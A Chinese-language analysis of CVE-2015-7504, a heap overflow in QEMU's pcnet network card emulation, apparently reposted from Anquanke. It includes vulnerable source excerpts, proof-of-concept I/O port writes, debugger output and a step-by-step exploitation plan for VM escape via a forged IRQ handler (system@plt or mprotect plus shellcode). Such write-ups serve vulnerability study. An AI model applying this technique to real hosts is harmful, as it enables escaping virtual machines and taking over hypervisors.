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    qemu-pwn-cve-2015-7504 堆溢出漏洞分析

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    作者：raycp
    原文來自安全客：https://www.anquanke.com/post/id/197638

    cve-2015-7504是pcnet網卡中的一個堆溢出漏洞，可以溢出四字節，通過構造特定的數據可以劫持程序執行流，結合前面的cve-2015-5165中的信息泄露，便可以實現任意代碼執行。

    漏洞分析

    首先仍然是先介紹pcnet網卡的部分信息。

    網卡有16位和32位兩種模式，這取決於DWIO（存儲在網卡上的變量）的實際值，16位模式是網卡重啟后的默認模式。網卡有兩種內部寄存器：CSR（控制和狀態寄存器）和BCR（總線控制寄存器）。兩種寄存器都需要通過設置對應的我們要訪問的RAP（寄存器地址端口）寄存器來實現對相應CSR或BCR寄存器的訪問。

    網卡的配置可以通過填充一個初始化結構體，並將該結構體的物理地址傳送到網卡（通過設置CSR[1]和CSR[2]）來完成，結構體定義如下：

    struct pcnet_config {
    uint16_t  mode;      /* working mode: promiscusous, looptest, etc. */
    uint8_t   rlen;      /* number of rx descriptors in log2 base */
    uint8_t   tlen;      /* number of tx descriptors in log2 base */
    uint8_t   mac[6];    /* mac address */
    uint16_t _reserved;
    uint8_t   ladr[8];   /* logical address filter */
    uint32_t  rx_desc;   /* physical address of rx descriptor buffer */
    uint32_t  tx_desc;   /* physical address of tx descriptor buffer */
};

    漏洞代碼在./hw/net/pcnet.c的pcnet_receive函數中，關鍵代碼如下：

    ssize_t print pcnet_receive(NetClientState *nc, const uint8_t *buf, size_t size_)
{
    int size = size_;
    PCNetState *s = qemu_get_nic_opaque(nc);
    ...

                uint8_t *src = s->buffer;
                    ....
            } else if (s->looptest == PCNET_LOOPTEST_CRC ||
                       !CSR_DXMTFCS(s) || size < MIN_BUF_SIZE+4) {
                uint32_t fcs = ~0;
                uint8_t *p = src;

                while (p != &src[size])
                    CRC(fcs, *p++);
                *(uint32_t *)p = htonl(fcs); //將crc值寫到數據包的末尾
                size += 4;
...
    pcnet_update_irq(s);

    return size_;
}

    s->buffer是網卡接收的數據，size是數據大小，可以看到代碼計算出當前數據包的crc值並寫到了數據包的末尾。但是當size剛好為s->buffer的大小時，會導致最後會將crc值越界到緩衝區之外，溢出的數據為數據包中的crc值。

    接下來看越界會覆蓋什麼，s的定義是PCNetState，定義如下：

    struct PCNetState_st {
    NICState *nic;
    NICConf conf;
    QEMUTimer *poll_timer;
    int rap, isr, lnkst;
    uint32_t rdra, tdra;
    uint8_t prom[16];
    uint16_t csr[128];
    uint16_t bcr[32];
    int xmit_pos;
    uint64_t timer;
    MemoryRegion mmio;
    uint8_t buffer[4096];
    qemu_irq irq;
    void (*phys_mem_read)(void *dma_opaque, hwaddr addr,
                         uint8_t *buf, int len, int do_bswap);
    void (*phys_mem_write)(void *dma_opaque, hwaddr addr,
                          uint8_t *buf, int len, int do_bswap);
    void *dma_opaque;
    int tx_busy;
    int looptest;
};

    可以看到buffer的大小為4096，當size為4096時，會使得crc覆蓋到後面的qemu_irq irq低四字節。irq的定義是typedef struct IRQState *qemu_irq，為一個指針。溢出會覆蓋該結構體指針的低四字節，該結構體定義如下：

    struct IRQState {
    Object parent_obj;

    qemu_irq_handler handler;
    void *opaque;
    int n;
};

    在覆蓋率變量irq的第四字節后，在程序的末尾有一個pcnet_update_irq(s);的函數調用，該函數中存在對qemu_set_irq函數的調用，由於可控irq，所以可控irq->handler，使得有可能控制程序執行流。

    void qemu_set_irq(qemu_irq irq, int level)
{
    if (!irq)
        return;

    irq->handler(irq->opaque, irq->n, level);
}

    可以看到覆蓋的值的內容是數據包的crc校驗的值，該值是可控的。我們可以通過構造特定的數據包得到我們想要的crc校驗的值，有需要可以去看具體原理，因此該漏洞可實現將irq指針低四字節覆蓋為任意地址的能力。

    再看如何觸發漏洞pcnet_receive函數，找到調用它的函數pcnet_transmit，需要設置一些標誌位如BCR_SWSTYLE等才能觸發函數：

    static void pcnet_transmit(PCNetState *s)
{
    hwaddr xmit_cxda = 0;
    int count = CSR_XMTRL(s)-1;
    int add_crc = 0;
    int bcnt;
    s->xmit_pos = -1;

                ...
        if (s->xmit_pos + bcnt > sizeof(s->buffer)) {
            s->xmit_pos = -1;
            goto txdone;
        }

        ...
        if (CSR_LOOP(s)) {
            if (BCR_SWSTYLE(s) == 1)
                add_crc = !GET_FIELD(tmd.status, TMDS, NOFCS);
            s->looptest = add_crc ? PCNET_LOOPTEST_CRC : PCNET_LOOPTEST_NOCRC;
            pcnet_receive(qemu_get_queue(s->nic), s->buffer, s->xmit_pos);
            s->looptest = 0;
        } else {
            ...

    再看調用pcnet_transmit的函數：一個是在pcnet_csr_writew中調用；一個是在pcnet_poll_timer中。

    主要看pcnet_csr_writew函數，它被pcnet_ioport_writew調用，了io_port函數，可以去對程序流程進行分析了。

    void pcnet_ioport_writew(void *opaque, uint32_t addr, uint32_t val)
{
    PCNetState *s = opaque;
    pcnet_poll_timer(s);
#ifdef PCNET_DEBUG_IO
    printf("pcnet_ioport_writew addr=0x%08x val=0x%04x/n", addr, val);
#endif
    if (!BCR_DWIO(s)) {
        switch (addr & 0x0f) {
        case 0x00: /* RDP */
            pcnet_csr_writew(s, s->rap, val);
            break;
        case 0x02:
            s->rap = val & 0x7f;
            break;
        case 0x06:
            pcnet_bcr_writew(s, s->rap, val);
            break;
        }
    }
    pcnet_update_irq(s);
}

    流程分析

    因為流程中很多關鍵數據都是使用CSR（控制和狀態寄存器）表示的，這些寄存器各個位的意義看起來又很麻煩，所以這次流程分析更多的是基於poc的流程。

    先看網卡信息，I/O端口為0xc140，大小為32：

    root@ubuntu:~# lspci -v -s 00:05.0
00:05.0 Ethernet controller: Advanced Micro Devices, Inc. [AMD] 79c970 [PCnet32 LANCE] (rev 10)
        Flags: bus master, medium devsel, latency 0, IRQ 10
        I/O ports at c140 [size=32]
        Memory at febf2000 (32-bit, non-prefetchable) [size=32]
        Expansion ROM at feb80000 [disabled] [size=256K]
        Kernel driver in use: pcnet32
lspci: Unable to load libkmod resources: error -12

    再看./hw/net/pcnet-pci.c中的realize函數中的pmio空間的相關聲明：

    memory_region_init_io(&d->io_bar, OBJECT(d), &pcnet_io_ops, s, "pcnet-io",
                          PCNET_IOPORT_SIZE);

#define PCNET_IOPORT_SIZE       0x20    

static const MemoryRegionOps pcnet_io_ops = {
    .read = pcnet_ioport_read,
    .write = pcnet_ioport_write,
    .endianness = DEVICE_LITTLE_ENDIAN,
};

static void pcnet_ioport_write(void *opaque, hwaddr addr,
                               uint64_t data, unsigned size)
{
    PCNetState *d = opaque;

    trace_pcnet_ioport_write(opaque, addr, data, size);
    if (addr < 0x10) {
        ...
    }
}

static uint64_t pcnet_ioport_read(void *opaque, hwaddr addr,
                                  unsigned size)
{
    PCNetState *d = opaque;

    trace_pcnet_ioport_read(opaque, addr, size);
    if (addr < 0x10) {
       ...
        }
    } else {
        if (size == 2) {
            return pcnet_ioport_readw(d, addr);
        } else if (size == 4) {
            return pcnet_ioport_readl(d, addr);
        }
    }
    return ((uint64_t)1 << (size * 8)) - 1;
}

    可以看到當addr大於0x10時，會根據size的大小調用相對應的pcnet_ioport_readw以及pcnet_ioport_readl。

    poc中關鍵代碼如下：

                    /* soft reset */
        inl(PCNET_PORT + 0x18);
        inw(PCNET_PORT + RST);

        /* set swstyle */
        outw(58, PCNET_PORT + RAP);
        outw(0x0102, PCNET_PORT + RDP);

        /* card config */
        outw(1, PCNET_PORT + RAP);
        outw(lo, PCNET_PORT + RDP);
        outw(2, PCNET_PORT + RAP);
        outw(hi, PCNET_PORT + RDP);

        /* init and start */
        outw(0, PCNET_PORT + RAP);
        outw(0x3, PCNET_PORT + RDP);

        sleep(2);

        pcnet_packet_send(&pcnet_tx_desc, pcnet_tx_buffer, pcnet_packet,
                          PCNET_BUFFER_SIZE);

    首先是先調用inl以及inw去初始化網卡，在readw中0x14對應的會調用pcnet_s_reset函數，readl函數中0x18也會調用該函數。該函數會將網卡進行初始化，包括設置為16位模式以及設置狀態為stop狀態等。

    static void pcnet_s_reset(PCNetState *s)
{
    trace_pcnet_s_reset(s);

    s->rdra = 0;
    s->tdra = 0;
    s->rap = 0;

    s->bcr[BCR_BSBC] &= ~0x0080;  //設置16位模式

    s->csr[0]   = 0x0004;    //設置state為stop狀態
    ...

    s->tx_busy = 0;
}

    先看下pcnet_ioport_writew的定義：

    void pcnet_ioport_writew(void *opaque, uint32_t addr, uint32_t val)
{
    PCNetState *s = opaque;
    pcnet_poll_timer(s);
#ifdef PCNET_DEBUG_IO
    printf("pcnet_ioport_writew addr=0x%08x val=0x%04x/n", addr, val);
#endif
    if (!BCR_DWIO(s)) {
        switch (addr & 0x0f) {
        case 0x00: /* RDP */
            pcnet_csr_writew(s, s->rap, val);
            break;
        case 0x02:
            s->rap = val & 0x7f;
            break;
        case 0x06:
            pcnet_bcr_writew(s, s->rap, val);
            break;
        }
    }
    pcnet_update_irq(s);
}


static void pcnet_csr_writew(PCNetState *s, uint32_t rap, uint32_t new_value)
{
    uint16_t val = new_value;
#ifdef PCNET_DEBUG_CSR
    printf("pcnet_csr_writew rap=%d val=0x%04x/n", rap, val);
#endif
    switch (rap) {
    case 0:
        s->csr[0] &= ~(val & 0x7f00); /* Clear any interrupt flags */

        s->csr[0] = (s->csr[0] & ~0x0040) | (val & 0x0048);

        val = (val & 0x007f) | (s->csr[0] & 0x7f00);

        /* IFF STOP, STRT and INIT are set, clear STRT and INIT */
        if ((val&7) == 7)
          val &= ~3;

        if (!CSR_STOP(s) && (val & 4))
            pcnet_stop(s);

        if (!CSR_INIT(s) && (val & 1))
            pcnet_init(s);

        if (!CSR_STRT(s) && (val & 2))
            pcnet_start(s);

        if (CSR_TDMD(s))
            pcnet_transmit(s);

        return;
    ...

    s->csr[rap] = val; //設置csr寄存器值
}

    可以看到我們可以通過設置addr為0x12來設置s->rap，然後再通過addr為0x10或0x16來操作csr寄存器或bcr寄存器，而設置好的s->rap則是csr寄存器或bcr寄存器的索引。

    因此操作都需要兩條指令才能進行，先通過s->rap設置好索引，再去操作相應的寄存器，如poc中需要將pcnet的配置結構體傳遞給網卡，需要將該結構體物理地址賦值給csr[1]以及csr[2]，則需要先將s->rap設置為1再去將地址的值賦值：

                    /* card config */
        outw(1, PCNET_PORT + RAP);
        outw(lo, PCNET_PORT + RDP);
        outw(2, PCNET_PORT + RAP);
        outw(hi, PCNET_PORT + RDP);

    配置好網卡后，通過pcnet_init以及pcnet_start將網卡啟動起來，再將構造的數據發送出去就觸發了漏洞。

    漏洞利用

    該漏洞的利用需要結合之前cve-2015-5165的信息泄露，基於信息泄露得到了程序基址以及相應的堆地址后，便可實現任意代碼執行。

    先看內存結構原有的內存結構，將斷點下在pcnet_receive函數，運行poc：

    pwndbg> print s
$2 = (PCNetState *) 0x5565a78d0840
pwndbg> vmmap s
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x5565a66f1000     0x5565a7f15000 rw-p  1824000 0      [heap]
pwndbg> print s->irq
$3 = (qemu_irq) 0x5565a78d6740
pwndbg> vmmap s->irq
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x5565a66f1000     0x5565a7f15000 rw-p  1824000 0      [heap]
pwndbg> print &s->buffer
$5 = (uint8_t (*)[4096]) 0x5565a78d2ad0
pwndbg> vmmap &s->buffer
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x5565a66f1000     0x5565a7f15000 rw-p  1824000 0      [heap]

    可以看到irq指針的值為堆地址，而我們可控的網卡的數據也在堆上。

    利用思路就比較清楚了，將irq指針的低四位覆蓋指向s->buffer中的某處，並在該處偽造好相應的irq結構體,如將handler偽造為system plt的地址，將opaque偽造為堆中參數cat flag的地址。

    struct IRQState {
    Object parent_obj;

    qemu_irq_handler handler;
    void *opaque;
    int n;
};

    system plt地址可通過objdump獲得：

    $ objdump -d -j .plt ./qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64  | grep system
./qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64:     file format elf64-x86-64
000000000009cf90 <system@plt>:
   9cf90:       ff 25 a2 14 7d 00       jmpq   *0x7d14a2(%rip)        # 86e438 <system@GLIBC_2.2.5>

    需要提一下的是，QEMU Case Study中則是調用mprotect函數來先將內存設置為可執行，然後再執行shellcode。但是看起來似乎無法控制第三個參數的值，因為level是由父函數pcnet_update_irq傳遞過來的：

    void qemu_set_irq(qemu_irq irq, int level)
{
    if (!irq)
        return;

    irq->handler(irq->opaque, irq->n, level);
}

    該文章中的解決方法是構造了兩個irq，第一個函數指針指向了qemu_set_irq，將opque設置為第二個irq的地址，irq->n設置為7；第二個irq則將handler設置為mprotect，opaque設置為對應的地址，n設置為相應的地址，以此來實現第三個參數的控制。當mprotect成功執行后，再通過網卡數據的設置，控制執行流重新執行shellcode的地址，實現利用。

    小結

    兩個很經典的漏洞結合實現了任意代碼執行，值得學習。

    相應的腳本和文件鏈接

    參考鏈接

    1. [翻譯]虛擬機逃逸——QEMU的案例分析（一）
    2. [翻譯]虛擬機逃逸——QEMU的案例分析（二）
    3. [翻譯]虛擬機逃逸——QEMU的案例分析（三）
    4. QEMU Case Study
    5. qemu 逃逸漏洞解析CVE-2015-5165 和 CVE-2015-7504 漏洞原理與利用
    6. 【漏洞分析】前往黑暗之門！Debugee in QEMU
    7. Reversing CRC

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